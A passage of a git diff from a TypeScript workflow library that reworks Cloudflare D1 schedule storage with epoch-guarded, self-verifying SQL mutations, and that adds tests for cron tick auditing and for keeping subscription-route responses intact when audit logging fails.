+    throw new Error(`schedule ${row.id} already exists`);
   }
 
   /**
@@ -393,33 +865,77 @@ export class D1SchedulesStorage extends SchedulesStorage {
     schedule: AuthorizedSchedule,
     owner: ResourceOwner,
     maxSchedules: number,
+    context?: MutationEpochContext,
   ): Promise<Schedule | null> {
-    const safeOwner = canonicalResourceOwner(owner);
+    const epoch = normalizeMutationEpoch(context?.mutationEpoch);
+    const row = captureSchedule(schedule);
+    const safeOwner = canonicalResourceOwner(
+      owner === null || typeof owner !== 'object'
+        ? owner
+        : { kind: owner.kind, id: owner.id },
+    );
     if (!Number.isSafeInteger(maxSchedules) || maxSchedules < 0) {
       throw new Error('maxSchedules must be a nonnegative safe integer');
     }
-    await this.#ensureSchema();
-    const batch = this.#db.batch?.bind(this.#db);
-    if (!batch) {
-      throw new Error(
-        'D1SchedulesStorage requires database.batch() for atomic owned schedule creation',
-      );
-    }
-    const [created] = await batch([
-      this.#insertScheduleStatement(schedule, maxSchedules),
-      this.#db
-        .prepare(
-          `INSERT INTO ${RESOURCE_OWNERSHIP_TABLE}
+    const prepared = await this.#prepareMutation(epoch, 'create');
+    const results = await this.#executeMutation(
+      prepared,
+      [
+        ...this.#mutationDiagnostics(),
+        this.#db
+          .prepare(`SELECT COUNT(*) AS total,
+        EXISTS(SELECT 1 FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1) AS id_exists
+        FROM ${this.#schedules}`)
+          .bind(row.id),
+        this.#insertScheduleStatement(row, prepared, maxSchedules),
+        this.#db
+          .prepare(
+            `INSERT INTO ${RESOURCE_OWNERSHIP_TABLE}
              (resource_kind, resource_id, owner_kind, owner_id)
-           SELECT 'schedule', ?, ?, ?
+           SELECT 'schedule', ?13, ?14, ?15
            WHERE changes() = 1
-             AND EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id = ?)`,
-        )
-        .bind(schedule.id, safeOwner.kind, safeOwner.id, schedule.id),
-    ]);
-    return d1Changes(created as { meta?: { changes?: number } }) === 1
-      ? schedule
-      : null;
+             AND EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id COLLATE BINARY = ?13)
+             AND ${scheduleMutationGuard(prepared)}
+           RETURNING resource_kind, resource_id, owner_kind, owner_id, reservation_token`,
+          )
+          .bind(...prepared.bindings, row.id, safeOwner.kind, safeOwner.id),
+      ],
+      [3, 4],
+    );
+    try {
+      const facts = singleScheduleRow(results[2]);
+      if (
+        !facts ||
+        typeof facts.total !== 'number' ||
+        !Number.isSafeInteger(facts.total) ||
+        facts.total < 0 ||
+        (facts.id_exists !== 0 && facts.id_exists !== 1)
+      ) {
+        throw new Error('schedule creation facts are malformed');
+      }
+      const created = singleScheduleRow(results[3]);
+      const owned = singleScheduleRow(results[4]);
+      if (created) {
+        if (facts.total >= maxSchedules || facts.id_exists !== 0)
+          throw new Error('schedule insertion contradicts its cap or id');
+        requireScheduleFields(created, { ...row });
+        requireScheduleFields(owned, {
+          resource_kind: 'schedule',
+          resource_id: row.id,
+          owner_kind: safeOwner.kind,
+          owner_id: safeOwner.id,
+          reservation_token: null,
+        });
+        return rowToSchedule(mutationScheduleRow(created));
+      }
+      if (owned) throw new Error('zero schedule insertion acquired an owner');
+      if (facts.total >= maxSchedules) return null;
+      if (facts.id_exists !== 1)
+        throw new Error('schedule insertion has no outcome');
+    } catch (cause) {
+      throw mutationUnknown(cause);
+    }
+    throw new Error(`schedule ${row.id} already exists`);
   }
 
   async getSchedule(id: string): Promise<Schedule | null> {
@@ -494,61 +1010,164 @@ export class D1SchedulesStorage extends SchedulesStorage {
     return results.map(rowToSchedule);
   }
 
-  async updateSchedule(id: string, patch: ScheduleUpdate): Promise<Schedule> {
-    await this.#ensureSchema();
-    // A TARGETED UPDATE — set ONLY the patched columns, never a full-row rewrite.
-    // A read-modify-write `INSERT OR REPLACE` of the whole row would carry a
-    // stale `nextFireAt`/`lastFireAt`/`lastRunId` back over whatever the tick's
-    // CAS (`updateScheduleNextFire`) advanced in the read→write window — reverting
-    // a claimed fire and re-arming the schedule for a SECOND fire of the same
-    // occurrence. This statement touches only what the patch names, so a facade
-    // mutation racing a tick can never clobber the CAS-owned columns it did not
-    // ask to change.
-    const sets = ['updatedAt = ?'];
-    const binds: unknown[] = [Date.now()];
-    if (patch.cron !== undefined) {
-      sets.push('cron = ?');
-      binds.push(patch.cron);
-    }
-    if (patch.timezone !== undefined) {
-      sets.push('timezone = ?');
-      binds.push(patch.timezone ?? null);
-    }
-    if (patch.status !== undefined) {
-      sets.push('status = ?');
-      binds.push(patch.status);
-    }
-    if (patch.nextFireAt !== undefined) {
-      sets.push('nextFireAt = ?');
-      binds.push(patch.nextFireAt);
-    }
-    if (patch.metadata !== undefined) {
-      sets.push('metadata = ?');
-      binds.push(jsonOrNull(patch.metadata));
-    }
-    if (patch.target !== undefined) {
-      sets.push('target = ?');
-      binds.push(JSON.stringify(patch.target));
-    }
-    if (patch.ownerType !== undefined) {
-      sets.push('ownerType = ?');
-      binds.push(patch.ownerType ?? null);
+  async updateSchedule(
+    id: string,
+    patch: ScheduleUpdate,
+    context?: MutationEpochContext,
+  ): Promise<Schedule> {
+    const epoch = normalizeMutationEpoch(context?.mutationEpoch);
+    return this.#updateSchedule(
+      id,
+      captureSchedulePatch(patch),
+      epoch,
+      'update',
+    );
+  }
+
+  async pauseSchedule(
+    id: string,
+    context?: MutationEpochContext,
+  ): Promise<Schedule> {
+    const epoch = normalizeMutationEpoch(context?.mutationEpoch);
+    return this.#updateSchedule(
+      id,
+      { status: 'paused', updatedAt: Date.now() },
+      epoch,
+      'pause',
+    );
+  }
+
+  async resumeSchedule(
+    id: string,
+    mutation: ScheduleResumeMutation,
+    context?: MutationEpochContext,
+  ): Promise<Schedule> {
+    const epoch = normalizeMutationEpoch(context?.mutationEpoch);
+    const { expectedCron, expectedTimezone, nextFireAt } = mutation;
+    return this.#updateSchedule(
+      id,
+      { status: 'active', nextFireAt, updatedAt: Date.now() },
+      epoch,
+      'resume',
+      {
+        cron: expectedCron,
+        timezone: expectedTimezone ?? null,
+      },
+    );
+  }
+
+  async #updateSchedule(
+    id: string,
+    patch: Partial<ScheduleRow>,
+    epoch: number | undefined,
+    operation: 'update' | 'pause' | 'resume',
+    expected?: { cron: string; timezone: string | null },
+  ): Promise<Schedule> {
+    const fields = Object.entries(patch);
+    const prepared = await this.#prepareMutation(epoch, operation);
+    const idParameter = fields.length + 13;
+    // Targeted writes preserve columns advanced by a concurrent fire claim.
+    const sets = fields.map(([key], index) => `${key} = ?${index + 13}`);
+    const results = await this.#executeMutation(
+      prepared,
+      [
+        ...this.#mutationDiagnostics(),
+        this.#db
+          .prepare(
+            `SELECT * FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1 LIMIT 2`,
+          )
+          .bind(id),
+        this.#db
+          .prepare(`UPDATE ${this.#schedules} SET ${sets.join(', ')}
+        WHERE id COLLATE BINARY = ?${idParameter} AND deletionRequestedAt IS NULL
+          ${expected ? `AND cron COLLATE BINARY = ?${idParameter + 1} AND timezone COLLATE BINARY IS ?${idParameter + 2}` : ''}
+          AND ${scheduleMutationGuard(prepared)} RETURNING *`)
+          .bind(
+            ...prepared.bindings,
+            ...fields.map(([, value]) => value),
+            id,
+            ...(expected ? [expected.cron, expected.timezone] : []),
+          ),
+      ],
+      [3],
+    );
+    let missing: boolean;
+    let changed = false;
+    try {
+      const previous = singleScheduleRow(results[2]);
+      const updated = singleScheduleRow(results[3]);
+      if (previous) {
+        requireScheduleFields(previous, { id });
+        mutationScheduleRow(previous);
+      }
+      missing = !previous || previous.deletionRequestedAt !== null;
+      if (updated) {
+        if (
+          missing ||
+          (expected &&
+            !sameScheduleFields(previous as Record<string, unknown>, expected))
+        ) {
+          throw new Error('schedule update contradicts its prior row');
+        }
+        requireScheduleFields(updated, { ...previous, ...patch, id });
+        return rowToSchedule(mutationScheduleRow(updated));
+      }
+      changed =
+        !missing &&
+        expected !== undefined &&
+        !sameScheduleFields(previous as Record<string, unknown>, expected);
+      if (!missing && !changed)
+        throw new Error('schedule update has no outcome');
+    } catch (cause) {
+      throw mutationUnknown(cause);
     }
-    if (patch.ownerId !== undefined) {
-      sets.push('ownerId = ?');
-      binds.push(patch.ownerId ?? null);
+    if (changed) throw new ScheduleMutationConflictError('schedule-changed');
+    throw new Error(`schedule ${id} not found`);
+  }
+
+  async observeScheduleMutation(
+    id: string,
+    operation: 'pause' | 'resume',
+    context: MutationEpochContext,
+  ): Promise<Schedule | null> {
+    const epoch = normalizeMutationEpoch(context?.mutationEpoch);
+    if (operation !== 'pause' && operation !== 'resume')
+      throw new Error('schedule mutation observation is invalid');
+    const prepared = await this.#prepareMutation(epoch, operation);
+    const results = await this.#executeMutation(
+      prepared,
+      [
+        ...this.#mutationDiagnostics(),
+        this.#db
+          .prepare(
+            `SELECT * FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1 LIMIT 2`,
+          )
+          .bind(id),
+        this.#db
+          .prepare(`SELECT * FROM ${this.#schedules}
+        WHERE id COLLATE BINARY = ?13 AND deletionRequestedAt IS NULL
+          AND ${scheduleMutationGuard(prepared)} LIMIT 2`)
+          .bind(...prepared.bindings, id),
+      ],
+      [],
+    );
+    try {
+      const previous = singleScheduleRow(results[2]);
+      const observed = singleScheduleRow(results[3]);
+      if (previous) {
+        requireScheduleFields(previous, { id });
+        mutationScheduleRow(previous);
+      }
+      if (!previous || previous.deletionRequestedAt !== null) {
+        if (observed)
+          throw new Error('schedule observation contradicts absence');
+        return null;
+      }
+      requireScheduleFields(observed, previous);
+      return rowToSchedule(mutationScheduleRow(observed));
+    } catch (cause) {
+      throw mutationUnknown(cause);
     }
-    binds.push(id);
-    await this.#db
-      .prepare(
-        `UPDATE ${this.#schedules} SET ${sets.join(', ')}
-         WHERE id = ? AND deletionRequestedAt IS NULL`,
-      )
-      .bind(...binds)
-      .run();
-    const updated = await this.getSchedule(id);
-    if (!updated) throw new Error(`schedule ${id} not found`);
-    return updated;
   }
 
   async updateScheduleNextFire(
@@ -814,65 +1433,136 @@ export class D1SchedulesStorage extends SchedulesStorage {
     throw new Error('agent schedule dispatch could not be force-discarded');
   }
 
-  async deleteSchedule(id: string): Promise<void> {
-    await this.deleteOwnedSchedule(id);
+  async deleteSchedule(
+    id: string,
+    context?: MutationEpochContext,
+  ): Promise<void> {
+    await this.deleteOwnedSchedule(id, context);
   }
 
   /** Delete an authorized facade schedule and its owner in one transaction. */
-  async deleteOwnedSchedule(id: string): Promise<'deleted' | 'pending'> {
-    await this.#ensureSchema();
-    const batch = this.#db.batch?.bind(this.#db);
-    if (!batch) {
-      throw new Error(
-        'D1SchedulesStorage requires database.batch() for atomic owned schedule deletion',
-      );
-    }
-    await batch([
-      this.#db
-        .prepare(
-          `UPDATE ${this.#schedules}
-           SET status = 'paused', updatedAt = ?,
+  async deleteOwnedSchedule(
+    id: string,
+    context?: MutationEpochContext,
+  ): Promise<'deleted' | 'pending'> {
+    const epoch = normalizeMutationEpoch(context?.mutationEpoch);
+    const now = Date.now();
+    const prepared = await this.#prepareMutation(epoch, 'delete');
+    const guard = scheduleMutationGuard(prepared);
+    const results = await this.#executeMutation(
+      prepared,
+      [
+        ...this.#mutationDiagnostics(),
+        this.#deletionFactsStatement(id),
+        this.#db
+          .prepare(
+            `UPDATE ${this.#schedules}
+           SET status = 'paused', updatedAt = ?13,
                deletionRequestedAt = CASE
                  WHEN EXISTS (
                    SELECT 1 FROM ${this.#triggers}
-                   WHERE scheduleId = ? AND outcome = 'deferred'
-                 ) THEN COALESCE(deletionRequestedAt, ?)
+                   WHERE scheduleId COLLATE BINARY = ?14 AND outcome = 'deferred'
+                 ) THEN COALESCE(deletionRequestedAt, ?13)
                  ELSE NULL
                END
-           WHERE id = ?`,
-        )
-        .bind(Date.now(), id, Date.now(), id),
-      this.#db
-        .prepare(
-          `DELETE FROM ${this.#triggers}
-           WHERE scheduleId = ?
+           WHERE id COLLATE BINARY = ?14 AND ${guard}
+           RETURNING id, status, updatedAt, deletionRequestedAt`,
+          )
+          .bind(...prepared.bindings, now, id),
+        this.#db
+          .prepare(
+            `DELETE FROM ${this.#triggers}
+           WHERE scheduleId COLLATE BINARY = ?13 AND ${guard}
              AND NOT EXISTS (
                SELECT 1 FROM ${this.#schedules}
-               WHERE id = ? AND deletionRequestedAt IS NOT NULL
+               WHERE id COLLATE BINARY = ?13 AND deletionRequestedAt IS NOT NULL
              )`,
-        )
-        .bind(id, id),
-      this.#db
-        .prepare(
-          `DELETE FROM ${this.#schedules}
-           WHERE id = ? AND deletionRequestedAt IS NULL`,
-        )
-        .bind(id),
-      this.#db
-        .prepare(
-          `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE}
-           WHERE resource_kind = 'schedule' AND resource_id = ?
-             AND NOT EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id = ?)`,
-        )
-        .bind(id, id),
-    ]);
-    const pending = await this.#db
-      .prepare(
-        `SELECT deletionRequestedAt FROM ${this.#schedules} WHERE id = ?`,
-      )
-      .bind(id)
-      .first<{ deletionRequestedAt: number | null }>();
-    return pending?.deletionRequestedAt != null ? 'pending' : 'deleted';
+          )
+          .bind(...prepared.bindings, id),
+        this.#db
+          .prepare(
+            `DELETE FROM ${this.#schedules}
+           WHERE id COLLATE BINARY = ?13 AND deletionRequestedAt IS NULL
+             AND ${guard} RETURNING id`,
+          )
+          .bind(...prepared.bindings, id),
+        this.#db
+          .prepare(
+            `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE}
+           WHERE resource_kind COLLATE BINARY = 'schedule' AND resource_id COLLATE BINARY = ?13
+             AND NOT EXISTS (SELECT 1 FROM ${this.#schedules} WHERE id COLLATE BINARY = ?13)
+             AND ${guard}
+           RETURNING resource_kind, resource_id, owner_kind, owner_id, reservation_token`,
+          )
+          .bind(...prepared.bindings, id),
+        this.#deletionFactsStatement(id),
+      ],
+      [3, 5, 6],
+      4,
+    );
+    try {
+      const before = deletionFacts(results[2]);
+      const after = deletionFacts(results[7]);
+      const pending = before.schedules === 1 && before.deferred > 0;
+      const marker = pending ? (before.deletion_requested_at ?? now) : null;
+      if (
+        results[3].rows.length !== before.schedules ||
+        scheduleChanges(results[4], false) !==
+          (pending ? 0 : before.triggers) ||
+        results[5].rows.length !== (pending ? 0 : before.schedules) ||
+        results[6].rows.length !== (pending ? 0 : before.owners)
+      ) {
+        throw new Error('schedule deletion writes contradict its prior state');
+      }
+      if (before.schedules === 1)
+        requireScheduleFields(results[3].rows[0], {
+          id,
+          status: 'paused',
+          updatedAt: now,
+          deletionRequestedAt: marker,
+        });
+      for (const row of results[5].rows) requireScheduleFields(row, { id });
+      for (const row of results[6].rows) {
+        requireScheduleFields(row, {
+          resource_kind: 'schedule',
+          resource_id: id,
+        });
+        if (
+          typeof row.owner_kind !== 'string' ||
+          typeof row.owner_id !== 'string' ||
+          (row.reservation_token !== null &&
+            typeof row.reservation_token !== 'string')
+        ) {
+          throw new Error('schedule deletion owner is malformed');
+        }
+      }
+      const expected = pending
+        ? { ...before, deletion_requested_at: marker }
+        : {
+            schedules: 0,
+            deletion_requested_at: null,
+            triggers: 0,
+            deferred: 0,
+            owners: 0,
+          };
+      if (!sameScheduleFields({ ...after }, expected))
+        throw new Error('schedule deletion did not converge');
+      return pending ? 'pending' : 'deleted';
+    } catch (cause) {
+      throw mutationUnknown(cause);
+    }
+  }
+
+  #deletionFactsStatement(id: string): ScheduleStatement {
+    return this.#db
+      .prepare(`SELECT
+      (SELECT COUNT(*) FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1) AS schedules,
+      (SELECT deletionRequestedAt FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1) AS deletion_requested_at,
+      (SELECT COUNT(*) FROM ${this.#triggers} WHERE scheduleId COLLATE BINARY = ?1) AS triggers,
+      (SELECT COUNT(*) FROM ${this.#triggers} WHERE scheduleId COLLATE BINARY = ?1 AND outcome = 'deferred') AS deferred,
+      (SELECT COUNT(*) FROM ${RESOURCE_OWNERSHIP_TABLE}
+        WHERE resource_kind COLLATE BINARY = 'schedule' AND resource_id COLLATE BINARY = ?1) AS owners`)
+      .bind(id);
   }
 
   async recordTrigger(trigger: ScheduleTrigger): Promise<void> {
@@ -1073,51 +1763,24 @@ export class D1SchedulesStorage extends SchedulesStorage {
     ]);
   }
 
-  /** Insert a new core schedule row. */
-  async #insertSchedule(schedule: Schedule): Promise<void> {
-    await this.#insertScheduleStatement(schedule).run();
-  }
-
   #insertScheduleStatement(
-    schedule: Schedule,
+    row: ScheduleRow,
+    prepared: PreparedScheduleMutation,
     maxSchedules?: number,
   ): ScheduleStatement {
-    const columns = `(
-           id, target, cron, timezone, status, nextFireAt, lastFireAt,
-           lastRunId, createdAt, updatedAt, metadata, ownerType, ownerId,
-           creatorRole
-         )`;
-    const values = [
-      schedule.id,
-      JSON.stringify(schedule.target),
-      schedule.cron,
-      schedule.timezone ?? null,
-      schedule.status,
-      schedule.nextFireAt,
-      schedule.lastFireAt ?? null,
-      schedule.lastRunId ?? null,
-      schedule.createdAt,
-      schedule.updatedAt,
-      jsonOrNull(schedule.metadata),
-      schedule.ownerType ?? null,
-      schedule.ownerId ?? null,
-      (schedule as Partial<AuthorizedSchedule>).creatorRole ?? null,
-    ];
-    if (maxSchedules === undefined) {
-      return this.#db
-        .prepare(
-          `INSERT INTO ${this.#schedules} ${columns}
-           VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
-        )
-        .bind(...values);
-    }
     return this.#db
       .prepare(
-        `INSERT INTO ${this.#schedules} ${columns}
-         SELECT ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?
-         WHERE (SELECT COUNT(*) FROM ${this.#schedules}) < ?`,
+        `INSERT INTO ${this.#schedules} (${SCHEDULE_COLUMNS.join(', ')})
+         SELECT ${SCHEDULE_COLUMNS.map((_, index) => `?${index + 13}`).join(', ')}
+         WHERE ${scheduleMutationGuard(prepared)}
+           ${maxSchedules === undefined ? '' : `AND (SELECT COUNT(*) FROM ${this.#schedules}) < ?27`}
+         ON CONFLICT (id) DO NOTHING RETURNING *`,
       )
-      .bind(...values, maxSchedules);
+      .bind(
+        ...prepared.bindings,
+        ...SCHEDULE_COLUMNS.map((key) => row[key]),
+        ...(maxSchedules === undefined ? [] : [maxSchedules]),
+      );
   }
 }
 
diff --git a/packages/flowsafe/src/schedules/storage.ts b/packages/flowsafe/src/schedules/storage.ts
index 4437128f..f88b35e4 100644
--- a/packages/flowsafe/src/schedules/storage.ts
+++ b/packages/flowsafe/src/schedules/storage.ts
@@ -1,21 +1,4 @@
 // SPDX-License-Identifier: Apache-2.0
-// Track D (M-006) — the schedules storage domain packaged for injection into
-// createD1Storage. do-runner's createD1Storage cannot import this directly
-// (schedules/ imports do-runner, so a do-runner->schedules edge would cycle), so
-// it takes an opaque `domains: MastraStorageDomains` and this helper supplies it
-// — the SAME pattern Track C's createSignalStorageDomains uses.
-//
-// A host that wants D1-durable schedules composes them alongside the signal
-// domains, e.g.:
-//   createD1Storage({
-//     binding,
-//     domains: {
-//       ...createSignalStorageDomains(binding),
-//       ...createScheduleStorageDomains(binding),
-//     },
-//   })
-// The 'schedules' domain key is what core's `mastra.schedules` resolves through
-// getStore('schedules') — and what the tick and router build their store from.
 
 import type { MastraStorageDomains } from '@mastra/core/storage';
 
@@ -23,21 +6,11 @@ import type { D1DatabaseBinding } from '../do-runner/index.js';
 import { validateTablePrefix } from '../do-runner/table-prefix.js';
 import { D1SchedulesStorage, type ScheduleDatabase } from './schedules-d1.js';
 
-/**
- * Build the flowsafe-owned schedules storage domain over a D1 binding, ready to
- * hand to `createD1Storage({ domains })`. The binding is the SAME one
- * createD1Storage builds its D1Store from — the domain creates two tables
- * (`mastra_schedules`, `mastra_schedule_triggers`) the adapter does not own, so
- * they coexist on one database with no DDL-ordering conflict.
- */
 export function createScheduleStorageDomains(
   binding: D1DatabaseBinding,
   tablePrefix = '',
 ): MastraStorageDomains {
   const prefix = validateTablePrefix(tablePrefix) ?? '';
-  // The structural ScheduleDatabase subset (prepare->bind/first/all/run) is
-  // exactly what a real D1Database exposes; the cast bridges the
-  // workers-types-free seam (same convention as createSignalStorageDomains).
   const db = binding as unknown as ScheduleDatabase;
   return { schedules: new D1SchedulesStorage(db, prefix) };
 }
diff --git a/packages/flowsafe/src/schedules/tick.test.ts b/packages/flowsafe/src/schedules/tick.test.ts
index fbca6bdd..e71a082c 100644
--- a/packages/flowsafe/src/schedules/tick.test.ts
+++ b/packages/flowsafe/src/schedules/tick.test.ts
@@ -684,6 +684,47 @@ describe('createScheduleTick', () => {
     );
   });
 
+  it('audits an unadvanceable cron, writes no trigger, and leaves the row due', async () => {
+    // #given a stored row whose cron is syntactically legal — so a facade that
+    // validates at create can have accepted it — but has no future occurrence,
+    // which is what computeNextFireAt throws on
+    const store = new FakeStore();
+    store.seed(
+      workflowSchedule({ id: 'schedule_corrupt', cron: '0 0 30 2 *' }),
+    );
+    const start = vi.fn();
+    const events: ScheduleTickAuditEvent[] = [];
+    const tick = createScheduleTick({
+      store,
+      start,
+      audit: (event) => {
+        events.push(event);
+      },
+      now: () => NOW,
+    });
+
+    // #when
+    const first = await tick();
+
+    // #then the pass audits the failure and dispatches nothing; nextFireAt is
+    // untouched, so no trigger identifies a claim
+    expect(first).toMatchObject({ due: 1, failed: 1, fired: 0, lost: 0 });
+    expect(start).not.toHaveBeenCalled();
+    expect(store.triggers).toEqual([]);
+    expect(store.schedules.get('schedule_corrupt')?.nextFireAt).toBe(
+      NOW - 1000,
+    );
+    expect(events).toEqual([
+      expect.objectContaining({ outcome: 'failed', reason: 'invalid-cron' }),
+    ]);
+
+    // #and the row is still due: it is selected again and holds a slot of the
+    // bounded page until an operator repairs or removes it
+    expect(await tick()).toMatchObject({ due: 1, failed: 1 });
+    expect(store.triggers).toEqual([]);
+    expect(events).toHaveLength(2);
+  });
+
   it('rejects invalid limits synchronously and treats zero as a no-op', async () => {
     const store = new FakeStore();
     store.seed(workflowSchedule());
@@ -1275,3 +1316,51 @@ describe('createScheduleTick and the deployment execution fence', () => {
     expect(store.schedules.get('schedule_a')?.nextFireAt).toBe(NOW - 1000);
   });
 });
+
+describe('FS8 D3 host activation pending schedule status', () => {
+  it('retains a deferred signal without resending or publishing finality while initial admission is pending', async () => {
+    const store = new FakeStore();
+    store.seed(
+      workflowSchedule({
+        id: 'agent_schedule',
+        target: {
+          type: 'agent',
+          agentId: 'a1',
+          prompt: 'go',
+          threadId: 'acme_thread',
+          resourceId: 'acme_resource',
+          signalType: 'reactive',
+          tagName: 'scheduled',
+        },
+      }),
+    );
+    const signalAgent = vi.fn(async (_input: ScheduleTickSignalAgentInput) => {
+      throw new Error('response lost');
+    });
+    const pending = Object.assign(
+      new Error('run start has no durable execution outcome'),
+      { status: 503, reason: { code: 'RUN_START_PENDING' } },
+    );
+    const tick = createScheduleTick({
+      store,
+      start: vi.fn(),
+      signalAgent,
+      status: async () => {
+        throw pending;
+      },
+      now: () => NOW,
+    });
+    await tick();
+    const first = structuredClone(store.triggers[0]);
+    expect(first).toMatchObject({ outcome: 'deferred' });
+    const result = await tick();
+    expect(store.triggers[0]).toMatchObject({
+      id: first?.id,
+      runId: first?.runId,
+      outcome: 'deferred',
+      metadata: { dispatchRef: first?.metadata?.dispatchRef },
+    });
+    expect(signalAgent).toHaveBeenCalledOnce();
+    expect(result).toMatchObject({ deferred: 1, fired: 0, failed: 0 });
+  });
+});
diff --git a/packages/flowsafe/src/schedules/tick.ts b/packages/flowsafe/src/schedules/tick.ts
index 765883ea..36e13b02 100644
--- a/packages/flowsafe/src/schedules/tick.ts
+++ b/packages/flowsafe/src/schedules/tick.ts
@@ -1,4 +1,6 @@
 // SPDX-License-Identifier: Apache-2.0
+
+import { isRunStartPendingError } from '../do-runner/execution-admission.js';
 // createScheduleTick. WE OWN THE TICK: a Durable Object alarm drives
 // listDueSchedules -> CAS updateScheduleNextFire claim -> fire, bypassing
 // core's pubsub worker loop entirely under the "one chokepoint, no second
@@ -773,6 +775,7 @@ export function createScheduleTick(
       } catch (error) {
         let pendingError = error;
         if (
+          !isRunStartPendingError(error) &&
           ref.target === 'agent' &&
           ref.mode === 'signal' &&
           options.signalAgent
@@ -951,6 +954,10 @@ export function createScheduleTick(
     // NOT CAS-claim it (leaving nextFireAt would hot-loop, but a permanently
     // corrupt row is an ops data-integrity issue, not a hot-loop the tick should
     // mask by advancing to an arbitrary time); audit the failure and move on.
+    // The row therefore stays due and every later pass selects it again, holding
+    // a slot of the bounded page until an operator repairs or removes it. The
+    // audit event is the record this branch writes: the trigger receipt belongs
+    // to the CAS claim below, which the branch returns before reaching.
     let newNextFireAt: number;
     try {
       newNextFireAt = computeNextFireAt(schedule.cron, {
diff --git a/packages/flowsafe/src/signal-providers/subscription-routes.test.ts b/packages/flowsafe/src/signal-providers/subscription-routes.test.ts
index 38f3bd13..2763c870 100644
--- a/packages/flowsafe/src/signal-providers/subscription-routes.test.ts
+++ b/packages/flowsafe/src/signal-providers/subscription-routes.test.ts
@@ -1,12 +1,11 @@
 // SPDX-License-Identifier: Apache-2.0
-// createSubscriptionRouter — the human-only HTTP subscribe/unsubscribe surface
-// (RA-009: NEVER exposed as model tools; nothing here mints capability, P8). The
-// gate order mirrors createSignalRouter: resolve → thread-ownership → role →
-// memory-id refusal → mutate. Committed mutations and probe-like post-auth
-// denials are audited.
 import { describe, expect, it, vi } from 'vitest';
 
-import type { ActorContext, ApprovalRole } from '../approval-api/index.js';
+import {
+  type ActorContext,
+  ActorResolutionError,
+  type ApprovalRole,
+} from '../approval-api/index.js';
 import { resourceIdFromKey } from '../do-runner/index.js';
 import { RunRouteError } from '../host-kit/index.js';
 import {
@@ -555,3 +554,216 @@ describe('createSubscriptionRouter', () => {
     }
   });
 });
+
+describe('createSubscriptionRouter audit isolation', () => {
+  it.each([
+    'accepted list',
+    'store error',
+  ])('preserves the %s response with one failing audit call', async (outcome) => {
+    const factory = new InMemorySubscriptionStoreFactory();
+    if (outcome === 'store error') {
+      vi.spyOn(factory.store(), 'listForThread').mockRejectedValue(
+        new Error('store failed'),
+      );
+    }
+    const audit = vi.fn(async () => {
+      throw new ActorResolutionError('audit failed');
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const router = createSubscriptionRouter({
+      resolve: async () => ctx('operator'),
+      subscriptions: factory,
+      validateThreadTarget: async () => undefined,
+      audit,
+    });
+    try {
+      const response = await router(req('GET', 'acme_t1'));
+      expect(response?.status).toBe(outcome === 'accepted list' ? 200 : 500);
+      expect(await response?.json()).toEqual(
+        outcome === 'accepted list'
+          ? { subscriptions: [] }
+          : { error: 'internal error' },
+      );
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({
+          action: 'list',
+          outcome: outcome === 'accepted list' ? 'accepted' : 'rejected',
+          ...(outcome === 'store error' ? { reason: 'internal-error' } : {}),
+        }),
+      );
+    } finally {
+      logged.mockRestore();
+    }
+  });
+  it.each([
+    ['role', 'viewer', 'acme_t1', {}, 403, 'forbidden', 'forbidden-role'],
+    [
+      'owner',
+      'operator',
+      'foreign',
+      {},
+      404,
+      'thread not found',
+      'resource-not-found',
+    ],
+    [
+      'memory id',
+      'operator',
+      'acme_t1',
+      { threadId: 'forged' },
+      400,
+      'threadId is server-assigned (agent-memory ids are minted by the host)',
+      'client-memory-id',
+    ],
+    [
+      'typed refusal',
+      'operator',
+      'acme_t1',
+      {
+        providerId: 'github',
+        externalResourceId: 'res:1',
+        resourceKey: 'owner',
+      },
+      422,
+      'host refused subscription',
+      'route-error-422',
+    ],
+  ] as const)('preserves the %s refusal when audit and diagnostics throw', async (_label, role, threadId, body, status, message, reason) => {
+    const audit = vi.fn(() => {
+      throw new RunRouteError(409, 'audit failed');
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const reconcilePolling = vi.fn(async () => undefined);
+    const { router, factory } = setup({
+      role,
+      audit,
+      reconcilePolling,
+      validateThreadTarget: async () => {
+        throw new RunRouteError(422, 'host refused subscription');
+      },
+    });
+    try {
+      const response = await router(req('POST', threadId, body));
+      expect(response?.status).toBe(status);
+      expect(await response?.json()).toEqual({ error: message });
+      expect(response?.headers.get('cache-control')).toBe('no-store');
+      expect(audit).toHaveBeenCalledExactlyOnceWith({
+        type: 'signal-provider.subscription',
+        actorId: 'op',
+        threadId,
+        action: 'subscribe',
+        outcome: 'rejected',
+        reason,
+        timestamp: expect.any(String),
+      });
+      expect(logged).toHaveBeenCalledTimes(1);
+      expect(await factory.store().listForThread('acme_t1')).toEqual([]);
+      expect(reconcilePolling).not.toHaveBeenCalled();
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it.each([
+    'actor error',
+    'message getter',
+    'toString',
+  ])('preserves subscription commits and polling metadata when audit throws %s', async (failure) => {
+    const error =
+      failure === 'actor error'
+        ? new ActorResolutionError('audit failed')
+        : failure === 'message getter'
+          ? Object.defineProperty(new Error(), 'message', {
+              get() {
+                throw new Error('message failed');
+              },
+            })
+          : {
+              toString() {
+                throw new Error('coercion failed');
+              },
+            };
+    const events: SignalProviderAuditEvent[] = [];
+    const audit = vi.fn(async (event: SignalProviderAuditEvent) => {
+      events.push(event);
+      throw error;
+    });
+    const reconcilePolling = vi
+      .fn(async () => undefined)
+      .mockRejectedValueOnce(error);
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const { router, factory } = setup({ audit, reconcilePolling });
+    const body = {
+      providerId: 'github',
+      externalResourceId: 'res:1',
+      resourceKey: 'owner',
+    };
